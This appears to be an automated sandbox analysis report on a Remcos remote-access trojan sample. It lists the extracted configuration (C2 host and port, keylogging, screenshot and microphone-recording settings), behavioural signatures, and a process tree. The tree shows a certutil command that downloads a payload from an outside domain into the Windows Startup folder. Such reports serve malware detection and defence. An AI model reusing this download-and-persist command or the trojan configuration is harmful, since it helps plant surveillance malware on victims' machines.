Analysis
- max time kernel
150s - max time network
150s - platform
windows10-ltsc_2021_x64 - resource
win10ltsc2021-20260513-en - resource tags
- submitted
24/05/2026, 23:13
General
- Target tmpwzb0egph.exe
- Size 4.0MB
- Sample260524-27n89act41
- SHA256 3df93a69060ba7d1a699404c325e37d4054ae271dffedd72b0cfe83409333fdb
Malware Config
Extracted
-
remcos
-
2.4.5 Pro
-
Remote%Host
-
www.rmagent.biz:7181
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audio_folder
MicRecords
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audio_path
%AppData%
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audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
vbs.server.exe
-
copy_folder
vbs.server
-
delete_file
true
-
hide_file
true
-
hide_keylog_file
false
-
install_flag
false
-
install_path
%AppData%
-
keylog_crypt
false
-
keylog_file
logs.dat
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keylog_flag
false
-
keylog_folder
remcos
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keylog_path
%AppData%
-
mouse_option
false
-
mutex
Remcos-00GA1C
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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startup_value
vbs.server
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take_screenshot_option
false
-
take_screenshot_time
5
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take_screenshot_title
wikipedia;solitaire;
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Manipulates Digital Signatures 1 TTPs 3 IoCs
Attackers can apply techniques such as changing the registry keys of authenticode & Cryptography to make their binary seem validly signed.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 1 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 28 IoCs
- Suspicious use of FindShellTrayWindow 3 IoCs
- Suspicious use of SendNotifyMessage 3 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\tmpwzb0egph.exe"C:\Users\Admin\AppData\Local\Temp\tmpwzb0egph.exe"1⤵
- Checks computer location settings
- Drops startup file
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\startup.bat" "2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\certutil.execertutil.exe -urlcache -split -f "http://al-sharqgroup.com/remcos_agent.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\yourfile.exe"3⤵
- Manipulates Digital Signatures
- System Location Discovery: System Language Discovery
-
-
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C:\Users\Admin\AppData\Local\Temp\tmpwzb0egph.exe"C:\Users\Admin\AppData\Local\Temp\tmpwzb0egph.exe"2⤵
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
startup.bat
logs.dat
memory/1548-9-0x0000000003F90000-0x0000000003F91000-memory.dmp
memory/2504-10-0x0000000000400000-0x0000000000420000-memory.dmp
memory/2504-18-0x0000000000400000-0x0000000000420000-memory.dmp
memory/2504-17-0x0000000000400000-0x0000000000420000-memory.dmp
memory/2504-21-0x0000000000400000-0x0000000000420000-memory.dmp